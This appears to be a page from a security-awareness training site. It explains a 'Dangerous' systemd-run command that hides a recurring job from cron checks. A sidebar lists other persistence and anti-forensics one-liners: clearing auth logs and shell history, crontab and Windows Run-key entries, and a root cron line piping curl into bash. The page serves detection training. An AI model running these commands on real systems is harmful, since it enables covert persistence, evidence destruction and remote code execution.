Dangerous
systemd-run --on-calendar='*:0/10' --unit=metrics-refresh /usr/local/bin/refreshlinux · bash · Nightmare
Creates a transient systemd timer that runs a binary every ten minutes. It writes no crontab and no unit file to the usual locations, so the schedule is invisible to anyone checking cron, and the plausible unit name helps it blend in.
Signals to notice
- Scheduled execution outside cron
- Transient unit avoids the usual persistence locations
- Innocuous unit name disguises the job
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert